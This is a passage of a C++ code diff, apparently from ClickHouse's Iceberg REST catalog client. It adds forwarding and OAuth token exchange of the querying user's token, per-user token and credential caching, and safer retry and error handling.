(!auth_token || auth_token->token.empty()) + throw DB::Exception( + DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE, + "Catalog `{}` is configured with `oauth_forward_user_token = 1`, so every catalog " + "request must carry the querying user's bearer token, but this session has none. " + "Either authenticate with a token (an `Authorization: Bearer` HTTP header, or " + "`--jwt` for the native protocol) and make sure the server-level " + "`enable_token_forwarding` setting is on, or recreate the database without " + "`oauth_forward_user_token`.", + warehouse); + + /// Passthrough: the user's token is presented to the catalog unchanged. Nothing is cached -- + /// the token arrives with every request anyway. + if (!token_forwarding.exchangeEnabled()) + return auth_token->token; + + const auto ttl = std::chrono::seconds(token_forwarding.user_token_cache_ttl); + const bool caching_enabled = ttl > std::chrono::seconds::zero(); + + auto exchange = [&] + { + return std::make_shared(exchangeUserToken(catalog_state, *auth_token)); + }; + + if (!caching_enabled) + return exchange()->token; + + if (!update_token) + { + if (auto cached = user_token_cache.get(auth_token->fingerprint); cached && !cached->isExpired()) + { + ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUserTokenCacheHits); + return cached->token; + } + } + + /// Either the entry expired or the caller asked for a fresh one. Drop it first so that + /// `getOrSetWithOutcome` reloads instead of handing back the stale value, and so that the + /// stampede protection still collapses the concurrent re-exchanges a single `SHOW TABLES` + /// fanned across the catalog thread pool would otherwise cause. + user_token_cache.remove(auth_token->fingerprint); + auto [session_token, outcome] = user_token_cache.getOrSetWithOutcome(auth_token->fingerprint, exchange); + if (outcome == DB::CacheGetOrSetOutcome::Hit) + ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUserTokenCacheHits); + return session_token->token; +} + +AccessToken RestCatalog::exchangeUserToken(const CatalogState & catalog_state, const DB::ForwardedAuthToken & auth_token) const +{ + TokenRequest request; + request.grant = TokenRequest::Grant::TokenExchange; + request.url = Poco::URI(token_forwarding.token_exchange_uri); + request.scope = auth_scope; + request.client_id = catalog_state.client_id; + request.client_secret = catalog_state.client_secret; + request.subject_token = auth_token.token; + request.subject_token_type = token_forwarding.subject_token_type; + request.requested_token_type = token_forwarding.requested_token_type; + + /// An `actor_token` is only meaningful to a server that can validate it, and the catalog's + /// own service token is not something an IdP can. Off by default; turn it on for a + /// spec-implementing catalog to get RFC 8693 delegation semantics (`sub=user, act=clickhouse`). + if (token_forwarding.forward_actor_token) + { + if (auto current = access_token.get(); current && !current->token.empty()) + { + request.actor_token = current->token; + request.actor_token_type = "urn:ietf:params:oauth:token-type:access_token"; + } + } + + ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogTokenExchange); + auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogTokenExchangeMicroseconds); + + AccessToken exchanged; + try + { + exchanged = requestToken(request); + } + catch (...) + { + ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogTokenExchangeFailures); + throw; + } + + /// A cached user token with no expiry would survive IdP revocation indefinitely, so when the + /// response carries no `expires_in` fall back to the configured TTL rather than "never". + /// When it does, still cap at the TTL so an entry never outlives the documented maximum. + if (token_forwarding.user_token_cache_ttl > 0) + { + const auto ttl_bound = std::chrono::system_clock::now() + std::chrono::seconds(token_forwarding.user_token_cache_ttl); + if (!exchanged.expires_at.has_value() || exchanged.expires_at.value() > ttl_bound) + exchanged.expires_at = ttl_bound; + } + + LOG_DEBUG(log, "Exchanged the token of user `{}` for a catalog session token", auth_token.principal); + return exchanged; +} + OneLakeCatalog::OneLakeCatalog( const std::string & warehouse_, const std::string & base_url_, @@ -634,7 +812,8 @@ OneLakeCatalog::OneLakeCatalog( initial_state.client_secret = onelake_client_secret; update_token_if_expired = true; } - initial_state.config = loadConfig(initial_state); + initial_state.config = loadConfig(initial_state, /* auth_token */ {}); + initial_state.config_loaded = true; state.set(std::make_unique(std::move(initial_state))); } @@ -704,7 +883,7 @@ ICatalog::PreparedSettingsChangesPtr RestCatalog::prepareSettingsChanges(const D /// The config was loaded with the old credentials; the new ones may resolve the /// warehouse to a different prefix or base location, so reload it before publishing. - new_state.config = loadConfig(new_state, new_auth_headers); + new_state.config = loadConfig(new_state, /* auth_token */ {}, new_auth_headers); prepared->new_state = std::make_unique(std::move(new_state)); return prepared; } @@ -757,17 +936,9 @@ void RestCatalog::applySettingsChangesToState( } } -DB::HTTPHeaderEntries OneLakeCatalog::getAuthHeaders( - const CatalogState & catalog_state, - bool update_token, - const String & method, - const Poco::URI & url, - const DB::HTTPHeaderEntries & extra_headers, - const String & body, - bool * used_cached_oauth_token) const +DB::HTTPHeaderEntries OneLakeCatalog::getAuthHeaders(const AuthContext & auth_context) const { - auto headers - = RestCatalog::getAuthHeaders(catalog_state, update_token, method, url, extra_headers, body, used_cached_oauth_token); + auto headers = RestCatalog::getAuthHeaders(auth_context); headers.emplace_back("User-Agent", fmt::format("ClickHouse/{}{} OneLake-Catalog", VERSION_STRING, VERSION_OFFICIAL)); return headers; } @@ -858,59 +1029,74 @@ namespace } -AccessToken RestCatalog::retrieveAccessToken(const std::string & client_id, const std::string & client_secret) const +AccessToken RestCatalog::requestToken(const TokenRequest & token_request) const { - ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogAuthTokenRetrieve); - auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogAuthTokenRefreshedMicroseconds); - - static constexpr auto oauth_tokens_endpoint = "oauth/tokens"; - - /// TODO: - /// 1. support oauth2-server-uri - /// https://github.com/apache/iceberg/blob/918f81f3c3f498f46afcea17c1ac9cdc6913cb5c/open-api/rest-catalog-open-api.yaml#L183C82-L183C99 - - Poco::URI url; + Poco::URI url = token_request.url; DB::ReadWriteBufferFromHTTP::OutStreamCallback out_stream_callback; size_t body_size = 0; String body; - if (oauth_server_uri.empty() && !oauth_server_use_request_body) + /// Both grants authenticate the request itself with `client_id`/`client_secret` in the form + /// body -- standard OAuth token-endpoint client authentication. Iceberg's own client instead + /// sends the catalog's bearer token for the exchange; supporting both would mean guessing + /// which kind of target we are talking to, and sending both at once is rejected by strict + /// servers as multiple client-authentication methods. One rule, documented. + std::vector> params; + if (token_request.grant == TokenRequest::Grant::ClientCredentials) { - url = Poco::URI(base_url / oauth_tokens_endpoint); - - Poco::URI::QueryParameters params = { - {"grant_type", "client_credentials"}, - {"scope", auth_scope}, - {"client_id", client_id}, - {"client_secret", client_secret}, - }; - url.setQueryParameters(params); + params.emplace_back("grant_type", "client_credentials"); + params.emplace_back("scope", token_request.scope); + params.emplace_back("client_id", token_request.client_id); + params.emplace_back("client_secret", token_request.client_secret); } else { - String encoded_auth_scope; - String encoded_client_id; - String encoded_client_secret; - Poco::URI::encode(auth_scope, auth_scope, encoded_auth_scope); - Poco::URI::encode(client_id, client_id, encoded_client_id); - Poco::URI::encode(client_secret, client_secret, encoded_client_secret); + params.emplace_back("grant_type", "urn:ietf:params:oauth:grant-type:token-exchange"); + params.emplace_back("subject_token", token_request.subject_token); + params.emplace_back("subject_token_type", token_request.subject_token_type); + /// An empty `requested_token_type` means "omit the field", per the setting's description. + if (!token_request.requested_token_type.empty()) + params.emplace_back("requested_token_type", token_request.requested_token_type); + if (!token_request.scope.empty()) + params.emplace_back("scope", token_request.scope); + /// Absent rather than empty when disabled: an empty `actor_token` is not the same thing + /// as no delegation, and strict servers reject it. + if (!token_request.actor_token.empty()) + { + params.emplace_back("actor_token", token_request.actor_token); + params.emplace_back("actor_token_type", token_request.actor_token_type); + } + params.emplace_back("client_id", token_request.client_id); + params.emplace_back("client_secret", token_request.client_secret); + } - body = fmt::format( - "grant_type=client_credentials&scope={}&client_id={}&client_secret={}", - encoded_auth_scope, encoded_client_id, encoded_client_secret); + if (token_request.use_query_parameters) + { + Poco::URI::QueryParameters query_params(params.begin(), params.end()); + url.setQueryParameters(query_params); + } + else + { + DB::WriteBufferFromOwnString wb; + bool first = true; + for (const auto & [name, value] : params) + { + if (!first) + wb << "&"; + first = false; + wb << name << "=" << formUrlEncode(value); + } + body = wb.str(); body_size = body.size(); out_stream_callback = [&](std::ostream & os) { os << body; }; - - if (oauth_server_uri.empty()) - url = Poco::URI(base_url / oauth_tokens_endpoint); - else - url = Poco::URI(oauth_server_uri); } const auto & context = getContext(); + /// Also checked for the exchange endpoint, not only for catalog GETs: the URL is chosen by + /// whoever created the database, and the request carries the querying user's own token. context->getRemoteHostFilter().checkHostAndPort(url.getHost(), std::to_string(url.getPort())); auto timeouts = DB::ConnectionTimeouts::getHTTPTimeouts(context->getSettingsRef(), context->getServerSettings()); auto session = makeHTTPSession(DB::HTTPConnectionGroupType::HTTP, url, timeouts, {}); @@ -932,11 +1118,36 @@ AccessToken RestCatalog::retrieveAccessToken(const std::string & client_id, cons std::string json_str; Poco::StreamCopier::copyToString(rs, json_str); - Poco::JSON::Parser parser; - Poco::Dynamic::Var res_json = parser.parse(json_str); - const Poco::JSON::Object::Ptr & object = res_json.extract(); + /// Every failure below names the endpoint and the status but never the response body: an OAuth + /// error response may echo the request, and for an exchange the request carries the user's + /// token. Pointing at an endpoint that does not implement the grant is the common + /// misconfiguration, and without these checks it surfaced as a bare Poco "JSON Exception" + /// from parsing a 404 HTML page. + const auto describe_endpoint = [&url, &response] + { + return fmt::format( + "OAuth token endpoint {}://{}:{}{} returned HTTP {}", + url.getScheme(), url.getHost(), url.getPort(), url.getPath(), + static_cast(response.getStatus())); + }; + + Poco::JSON::Object::Ptr object; + try + { + object = Poco::JSON::Parser().parse(json_str).extract(); + } + catch (const Poco::Exception &) + { + object = nullptr; + } + if (!object) + throw DB::Exception( + DB::ErrorCodes::DATALAKE_DATABASE_ERROR, "{} with a body that is not a JSON object", describe_endpoint()); AccessToken token; + if (!object->has("access_token")) + throw DB::Exception( + DB::ErrorCodes::DATALAKE_DATABASE_ERROR, "{} with no `access_token` field", describe_endpoint()); token.token = object->get("access_token").extract(); if (object->has("expires_in")) @@ -950,6 +1161,36 @@ AccessToken RestCatalog::retrieveAccessToken(const std::string & client_id, cons return token; } +AccessToken RestCatalog::retrieveAccessToken(const std::string & client_id, const std::string & client_secret) const +{ + static constexpr auto oauth_tokens_endpoint = "oauth/tokens"; + + /// Deliberately does NOT honour the catalog-advertised `oauth2-server-uri` from `/v1/config`: + /// the explicit settings cover everything deployable, and auto-redirecting the grant would be + /// a surprising behaviour change for existing databases. + + TokenRequest request; + request.grant = TokenRequest::Grant::ClientCredentials; + request.scope = auth_scope; + request.client_id = client_id; + request.client_secret = client_secret; + + if (oauth_server_uri.empty() && !oauth_server_use_request_body) + { + request.url = Poco::URI(base_url / oauth_tokens_endpoint); + request.use_query_parameters = true; + } + else + { + request.url = oauth_server_uri.empty() ? Poco::URI(base_url / oauth_tokens_endpoint) : Poco::URI(oauth_server_uri); + } + + ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogClientCredentialsGrants); + ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogAuthTokenRetrieve); + auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogAuthTokenRefreshedMicroseconds); + return requestToken(request); +} + BigLakeCatalog::BigLakeCatalog( const std::string & warehouse_, const std::string & base_url_, @@ -978,18 +1219,12 @@ BigLakeCatalog::BigLakeCatalog( access_token.set(std::make_unique(retrieveGoogleCloudAccessToken())); } CatalogState initial_state; - initial_state.config = loadConfig(initial_state); + initial_state.config = loadConfig(initial_state, /* auth_token */ {}); + initial_state.config_loaded = true; state.set(std::make_unique(std::move(initial_state))); } -DB::HTTPHeaderEntries BigLakeCatalog::getAuthHeaders( - const CatalogState & catalog_state, - bool update_token, - const String & method, - const Poco::URI & url, - const DB::HTTPHeaderEntries & extra_headers, - const String & body, - bool * used_cached_oauth_token) const +DB::HTTPHeaderEntries BigLakeCatalog::getAuthHeaders(const AuthContext & auth_context) const { /// Google Cloud OAuth2 for BigLake. /// Uses GCP metadata service or Application Default Credentials to get access token. @@ -997,18 +1232,18 @@ DB::HTTPHeaderEntries BigLakeCatalog::getAuthHeaders( /// https://developers.google.com/identity/protocols/oauth2 if (!google_project_id.empty() || !google_adc_client_id.empty()) { - if (used_cached_oauth_token) - *used_cached_oauth_token = false; + if (auth_context.used_cached_oauth_token) + *auth_context.used_cached_oauth_token = false; auto current = access_token.get(); - if (!current || update_token || current->isExpired()) + if (!current || auth_context.update_token || current->isExpired()) { access_token.set(std::make_unique(retrieveGoogleCloudAccessToken())); current = access_token.get(); } - else if (used_cached_oauth_token) + else if (auth_context.used_cached_oauth_token) { - *used_cached_oauth_token = true; + *auth_context.used_cached_oauth_token = true; } DB::HTTPHeaderEntries headers; @@ -1028,7 +1263,7 @@ DB::HTTPHeaderEntries BigLakeCatalog::getAuthHeaders( return headers; } - return RestCatalog::getAuthHeaders(catalog_state, update_token, method, url, extra_headers, body, used_cached_oauth_token); + return RestCatalog::getAuthHeaders(auth_context); } AccessToken BigLakeCatalog::retrieveGoogleCloudAccessTokenFromRefreshToken() const @@ -1152,10 +1387,18 @@ AccessToken BigLakeCatalog::retrieveGoogleCloudAccessToken() const return token; } +DB::ForwardedAuthTokenPtr RestCatalog::getForwardedAuthToken(const DB::ContextPtr & context_) +{ + if (!context_) + return {}; + return context_->getForwardedAuthToken(); +} + std::optional RestCatalog::getStorageType() const { const auto state_snapshot = state.get(); - if (state_snapshot->config.default_base_location.empty()) + /// Under forwarding the config is filled in lazily by the first user query. + if (!state_snapshot->config_loaded || state_snapshot->config.default_base_location.empty()) return std::nullopt; return parseStorageTypeFromLocation(state_snapshot->config.default_base_location); } @@ -1163,6 +1406,7 @@ std::optional RestCatalog::getStorageType() const DB::ReadWriteBufferFromHTTPPtr RestCatalog::createReadBuffer( const CatalogState & catalog_state, const std::string & endpoint, + const DB::ForwardedAuthTokenPtr & auth_token, const Poco::URI::QueryParameters & params, const DB::HTTPHeaderEntries & headers, const std::optional & auth_headers) const @@ -1176,10 +1420,17 @@ DB::ReadWriteBufferFromHTTPPtr RestCatalog::createReadBuffer( auto create_buffer = [&](bool update_token, bool & used_cached_oauth_token) { - auto result_headers = auth_headers - ? *auth_headers - : getAuthHeaders( - catalog_state, update_token, Poco::Net::HTTPRequest::HTTP_GET, url, headers, {}, &used_cached_oauth_token); + AuthContext auth_context{ + .catalog_state = catalog_state, + .update_token = update_token, + .method = Poco::Net::HTTPRequest::HTTP_GET, + .url = url, + .extra_headers = headers, + .body = {}, + .auth_token = auth_token, + .used_cached_oauth_token = &used_cached_oauth_token, + }; + auto result_headers = auth_headers ? *auth_headers : getAuthHeaders(auth_context); std::move(headers.begin(), headers.end(), std::back_inserter(result_headers)); return DB::BuilderRWBufferFromHTTP(url) @@ -1206,20 +1457,34 @@ DB::ReadWriteBufferFromHTTPPtr RestCatalog::createReadBuffer( catch (const DB::HTTPException & e) { const auto status = e.getHTTPStatus(); - if (update_token_if_expired && - (status == Poco::Net::HTTPResponse::HTTPStatus::HTTP_UNAUTHORIZED - || status == Poco::Net::HTTPResponse::HTTPStatus::HTTP_FORBIDDEN)) - { - ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUnauthorized); - bool used_cached_oauth_token_on_retry = false; - return create_buffer(true, used_cached_oauth_token_on_retry); - } - throw; + if (!shouldRetryWithFreshToken(status)) + throw; + + ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUnauthorized); + bool used_cached_oauth_token_on_retry = false; + return create_buffer(true, used_cached_oauth_token_on_retry); } } -bool RestCatalog::empty() const +bool RestCatalog::shouldRetryWithFreshToken(Poco::Net::HTTPResponse::HTTPStatus status) const +{ + /// Under forwarding the retry must never re-mint as the service principal: that would turn a + /// denied user into a successful one and would also overwrite the catalog-wide `access_token` + /// for everyone. Only 401 (the token may genuinely have expired mid-query) is retried, by + /// re-running *that principal's* exchange; 403 is an authorization decision and is terminal. + /// Passthrough has nothing to re-mint at all, so it never retries. + if (token_forwarding.forward_user_token) + return token_forwarding.exchangeEnabled() && status == Poco::Net::HTTPResponse::HTTPStatus::HTTP_UNAUTHORIZED; + + return update_token_if_expired + && (status == Poco::Net::HTTPResponse::HTTPStatus::HTTP_UNAUTHORIZED + || status == Poco::Net::HTTPResponse::HTTPStatus::HTTP_FORBIDDEN); +} + +bool RestCatalog::empty(const DB::ForwardedAuthTokenPtr & auth_token) const { + loadConfigIfNeeded(auth_token); + bool found_table = false; auto stop_condition = [&](const std::string & namespace_name) -> bool { @@ -1229,7 +1494,7 @@ bool RestCatalog::empty() const if (!allowed_namespaces.isNamespaceAllowed(namespace_name, /*nested*/ false)) return false; - const auto tables = getTables(namespace_name, /* limit */1); + const auto tables = getTablesInNamespace(namespace_name, auth_token, /* limit */1); if (!tables.empty()) found_table = true; @@ -1237,13 +1502,15 @@ bool RestCatalog::empty() const }; Namespaces namespaces; - getNamespacesRecursive("", namespaces, stop_condition, /* execute_func */{}); + getNamespacesRecursive("", namespaces, stop_condition, /* execute_func */{}, auth_token); return !found_table; } -DB::Names RestCatalog::getTables() const +DB::Names RestCatalog::getTables(const DB::ForwardedAuthTokenPtr & auth_token) const { + loadConfigIfNeeded(auth_token); + auto & pool = getContext()->getIcebergCatalogThreadpool(); DB::Names tables; std::mutex mutex; @@ -1259,7 +1526,7 @@ DB::Names RestCatalog::getTables() const runner.enqueueAndKeepTrack( [=, &tables, &mutex, this] { - auto tables_in_namespace = getTables(current_namespace); + auto tables_in_namespace = getTablesInNamespace(current_namespace, auth_token); std::lock_guard lock(mutex); std::move(tables_in_namespace.begin(), tables_in_namespace.end(), std::back_inserter(tables)); }); @@ -1270,7 +1537,8 @@ DB::Names RestCatalog::getTables() const /* base_namespace */"", /// Empty base namespace means starting from root. namespaces, /* stop_condition */{}, - /* execute_func */execute_for_each_namespace); + /* execute_func */execute_for_each_namespace, + auth_token); runner.waitForAllToFinishAndRethrowFirstError(); } @@ -1282,11 +1550,12 @@ void RestCatalog::getNamespacesRecursive( const std::string & base_namespace, Namespaces & result, StopCondition stop_condition, - ExecuteFunc func) const + ExecuteFunc func, + const DB::ForwardedAuthTokenPtr & auth_token) const { checkStackSize(); - auto namespaces = getNamespaces(base_namespace); + auto namespaces = getNamespaces(base_namespace, auth_token); result.reserve(result.size() + namespaces.size()); result.insert(result.end(), namespaces.begin(), namespaces.end()); @@ -1315,7 +1584,7 @@ void RestCatalog::getNamespacesRecursive( } if (allowed_namespaces.isNamespaceAllowed(current_namespace, /*nested*/ true)) - getNamespacesRecursive(current_namespace, result, stop_condition, func); + getNamespacesRecursive(current_namespace, result, stop_condition, func, auth_token); else { LOG_DEBUG(log, "Nested namespaces in namespace {} are filtered", current_namespace); @@ -1339,7 +1608,7 @@ Poco::URI::QueryParameters RestCatalog::createParentNamespaceParams(const std::s return {{"parent", parent_param}}; } -RestCatalog::Namespaces RestCatalog::getNamespaces(const std::string & base_namespace) const +RestCatalog::Namespaces RestCatalog::getNamespaces(const std::string & base_namespace, const DB::ForwardedAuthTokenPtr & auth_token) const { const auto state_snapshot = state.get(); @@ -1369,7 +1638,7 @@ RestCatalog::Namespaces RestCatalog::getNamespaces(const std::string & base_name ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogGetNamespaces); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogGetNamespacesMicroseconds); - auto buf = createReadBuffer(*state_snapshot, state_snapshot->config.prefix / NAMESPACES_ENDPOINT, params); + auto buf = createReadBuffer(*state_snapshot, state_snapshot->config.prefix / NAMESPACES_ENDPOINT, auth_token, params); String next_page_token; auto page_namespaces = parseNamespaces(*buf, base_namespace, next_page_token); LOG_DEBUG( @@ -1496,7 +1765,7 @@ RestCatalog::Namespaces RestCatalog::parseNamespaces(DB::ReadBuffer & buf, const } } -DB::Names RestCatalog::getTables(const std::string & base_namespace, size_t limit) const +DB::Names RestCatalog::getTablesInNamespace(const std::string & base_namespace, const DB::ForwardedAuthTokenPtr & auth_token, size_t limit) const { if (!allowed_namespaces.isNamespaceAllowed(base_namespace, /*nested*/ false)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, @@ -1527,7 +1796,7 @@ DB::Names RestCatalog::getTables(const std::string & base_namespace, size_t limi ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogGetTables); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogGetTablesMicroseconds); - auto buf = createReadBuffer(*state_snapshot, state_snapshot->config.prefix / endpoint, params); + auto buf = createReadBuffer(*state_snapshot, state_snapshot->config.prefix / endpoint, auth_token, params); /// Pass through the remaining limit so that single-page short-circuiting still works /// when the caller is in `empty()` (limit=1) and the first page already contains a row. @@ -1612,10 +1881,14 @@ DB::Names RestCatalog::parseTables(DB::ReadBuffer & buf, const std::string & bas } } -bool RestCatalog::existsTable(const std::string & namespace_name, const std::string & table_name) const +bool RestCatalog::existsTable(const std::string & namespace_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const { TableMetadata table_metadata; - return tryGetTableMetadata(namespace_name, table_name, getContext(), table_metadata); + /// The catalog's own (global) context is fine here -- `table_metadata` asks for neither a + /// schema nor credentials, so it is never used to interpret a response. The identity that + /// matters travels in `auth_token`; before forwarding existed this call had no identity + /// channel at all and always ran as the service principal. + return tryGetTableMetadataImpl(namespace_name, table_name, getContext(), table_metadata, auth_token); } bool RestCatalog::tryGetTableMetadata( @@ -1623,10 +1896,20 @@ bool RestCatalog::tryGetTableMetadata( const std::string & table_name, DB::ContextPtr context_, TableMetadata & result) const +{ + return tryGetTableMetadataImpl(namespace_name, table_name, context_, result, getForwardedAuthToken(context_)); +} + +bool RestCatalog::tryGetTableMetadataImpl( + const std::string & namespace_name, + const std::string & table_name, + DB::ContextPtr context_, + TableMetadata & result, + const DB::ForwardedAuthTokenPtr & auth_token) const { try { - return getTableMetadataImpl(namespace_name, table_name, context_, result); + return getTableMetadataImpl(namespace_name, table_name, context_, result, auth_token); } catch (const DB::HTTPException & ex) { @@ -1645,7 +1928,7 @@ void RestCatalog::getTableMetadata( DB::ContextPtr context_, TableMetadata & result) const { - if (!getTableMetadataImpl(namespace_name, table_name, context_, result)) + if (!getTableMetadataImpl(namespace_name, table_name, context_, result, getForwardedAuthToken(context_))) throw DB::Exception(DB::ErrorCodes::DATALAKE_DATABASE_ERROR, "No response from iceberg catalog"); } @@ -1736,10 +2019,13 @@ bool RestCatalog::getTableMetadataImpl( const std::string & table_name, DB::ContextPtr context_, TableMetadata & result, + const DB::ForwardedAuthTokenPtr & auth_token, bool allow_credentials_cache) const { LOG_DEBUG(log, "Checking table {} in namespace {}", table_name, namespace_name); + loadConfigIfNeeded(auth_token); + if (!allowed_namespaces.isNamespaceAllowed(namespace_name, /*nested*/ false)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, "Namespace {} is filtered by `namespaces` database parameter", namespace_name); @@ -1747,13 +2033,14 @@ bool RestCatalog::getTableMetadataImpl( DB::HTTPHeaderEntries headers; const bool want_credentials = result.requiresCredentials(); + const CredentialsCacheKey credentials_key{getCredentialsCachePrincipal(auth_token), namespace_name, table_name}; /// Reuse previously vended credentials is possible std::optional cached_credentials; if (want_credentials) { if (allow_credentials_cache) - cached_credentials = tryGetCachedCredentials(namespace_name, table_name); + cached_credentials = tryGetCachedCredentials(credentials_key); /// Header `X-Iceberg-Access-Delegation` tells catalog to include storage credentials in LoadTableResponse. /// Value can be one of the two: @@ -1764,6 +2051,7 @@ bool RestCatalog::getTableMetadataImpl( if (!cached_credentials) { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogCredentialsVended); + ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogCredentialsCacheMisses); headers.emplace_back("X-Iceberg-Access-Delegation", "vended-credentials"); } } @@ -1775,7 +2063,7 @@ bool RestCatalog::getTableMetadataImpl( { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogGetTableMetadata); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogGetTableMetadataMicroseconds); - auto buf = createReadBuffer(*state_snapshot, state_snapshot->config.prefix / endpoint, /* params */{}, headers); + auto buf = createReadBuffer(*state_snapshot, state_snapshot->config.prefix / endpoint, auth_token, /* params */{}, headers); if (buf->eof()) { @@ -1836,9 +2124,9 @@ bool RestCatalog::getTableMetadataImpl( { { std::lock_guard lock(credentials_cache_mutex); - credentials_cache.erase({namespace_name, table_name}); + credentials_cache.erase(credentials_key); } - return getTableMetadataImpl(namespace_name, table_name, context_, result, /* allow_credentials_cache */ false); + return getTableMetadataImpl(namespace_name, table_name, context_, result, auth_token, /* allow_credentials_cache */ false); } ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogCredentialsCacheHits); result.setStorageCredentials(cached_credentials->credentials); @@ -1852,7 +2140,7 @@ bool RestCatalog::getTableMetadataImpl( if (parsed.credentials) { result.setStorageCredentials(parsed.credentials); - cacheCredentials(namespace_name, table_name, parsed); + cacheCredentials(credentials_key, parsed); } if (!parsed.endpoint.empty()) result.setEndpoint(parsed.endpoint); @@ -1874,7 +2162,13 @@ bool RestCatalog::getTableMetadataImpl( return true; } -void RestCatalog::sendRequest(const CatalogState & catalog_state, const String & endpoint, Poco::JSON::Object::Ptr request_body, const String & method, bool ignore_result) const +void RestCatalog::sendRequest( + const CatalogState & catalog_state, + const String & endpoint, + Poco::JSON::Object::Ptr request_body, + const DB::ForwardedAuthTokenPtr & auth_token, + const String & method, + bool ignore_result) const { std::ostringstream oss; // STYLE_CHECK_ALLOW_STD_STRING_STREAM if (request_body) @@ -1898,10 +2192,22 @@ void RestCatalog::sendRequest(const CatalogState & catalog_state, const String & DB::HTTPHeaderEntries extra_headers; extra_headers.emplace_back("Content-Type", "application/json"); + /// `update_token = false` plus a 401 retry, mirroring `createReadBuffer`. Unconditionally + /// re-minting cost a full token round trip on every catalog mutation; under forwarding it + /// would cost a full token *exchange* per mutation. auto create_buffer = [&](bool update_token, bool & used_cached_oauth_token) { - DB::HTTPHeaderEntries headers - = getAuthHeaders(catalog_state, update_token, method, url, extra_headers, body_str, &used_cached_oauth_token); + AuthContext auth_context{ + .catalog_state = catalog_state, + .update_token = update_token, + .method = method, + .url = url, + .extra_headers = extra_headers, + .body = body_str, + .auth_token = auth_token, + .used_cached_oauth_token = &used_cached_oauth_token, + }; + DB::HTTPHeaderEntries headers = getAuthHeaders(auth_context); headers.emplace_back("Content-Type", "application/json"); return DB::BuilderRWBufferFromHTTP(url) .withConnectionGroup(DB::HTTPConnectionGroupType::HTTP) @@ -1931,30 +2237,25 @@ void RestCatalog::sendRequest(const CatalogState & catalog_state, const String & } catch (const DB::HTTPException & e) { - const auto status = e.getHTTPStatus(); - if (update_token_if_expired && - (status == Poco::Net::HTTPResponse::HTTPStatus::HTTP_UNAUTHORIZED - || status == Poco::Net::HTTPResponse::HTTPStatus::HTTP_FORBIDDEN)) - { - ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUnauthorized); - bool used_cached_oauth_token_on_retry = false; - auto wb = create_buffer(true, used_cached_oauth_token_on_retry); + if (!shouldRetryWithFreshToken(e.getHTTPStatus())) + throw; - String response_str; - if (!ignore_result) - readJSONObjectPossiblyInvalid(response_str, *wb); - else - wb->ignoreAll(); - } + ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUnauthorized); + bool used_cached_oauth_token_on_retry = false; + auto wb = create_buffer(true, used_cached_oauth_token_on_retry); + + String response_str; + if (!ignore_result) + readJSONObjectPossiblyInvalid(response_str, *wb); else - { - throw; - } + wb->ignoreAll(); } } -void RestCatalog::createNamespaceIfNotExists(const String & namespace_name, const String & location) const +void RestCatalog::createNamespaceIfNotExists(const String & namespace_name, const String & location, const DB::ForwardedAuthTokenPtr & auth_token) const { + loadConfigIfNeeded(auth_token); + const auto state_snapshot = state.get(); /// Check existence first: creation may be denied to a principal that is still @@ -1963,7 +2264,9 @@ void RestCatalog::createNamespaceIfNotExists(const String & namespace_name, cons = (base_url / state_snapshot->config.prefix / NAMESPACES_ENDPOINT / encodeNamespaceForURI(namespace_name)).generic_string(); try { - sendRequest(*state_snapshot, check_endpoint, /* request_body */ nullptr, Poco::Net::HTTPRequest::HTTP_GET, /* ignore_result */ true); + sendRequest( + *state_snapshot, check_endpoint, /* request_body */ nullptr, auth_token, + Poco::Net::HTTPRequest::HTTP_GET, /* ignore_result */ true); return; } catch (const DB::HTTPException & e) @@ -1990,7 +2293,7 @@ void RestCatalog::createNamespaceIfNotExists(const String & namespace_name, cons { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogCreateNamespace); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogCreateNamespaceMicroseconds); - sendRequest(*state_snapshot, endpoint, request_body); + sendRequest(*state_snapshot, endpoint, request_body, auth_token); } catch (const DB::HTTPException & e) { @@ -2000,8 +2303,10 @@ void RestCatalog::createNamespaceIfNotExists(const String & namespace_name, cons } } -void RestCatalog::createTable(const String & namespace_name, const String & table_name, const String & /*new_metadata_path*/, Poco::JSON::Object::Ptr metadata_content) const +void RestCatalog::createTable(const String & namespace_name, const String & table_name, const String & /*new_metadata_path*/, Poco::JSON::Object::Ptr metadata_content, const DB::ForwardedAuthTokenPtr & auth_token) const { + loadConfigIfNeeded(auth_token); + if (!allowed_namespaces.isNamespaceAllowed(namespace_name, /*nested*/ false)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, "Failed to create table {}, namespace {} is filtered by `namespaces` database parameter", table_name, namespace_name); @@ -2039,7 +2344,7 @@ void RestCatalog::createTable(const String & namespace_name, const String & tabl { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogCreateTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogCreateTableMicroseconds); - sendRequest(*state_snapshot, endpoint, 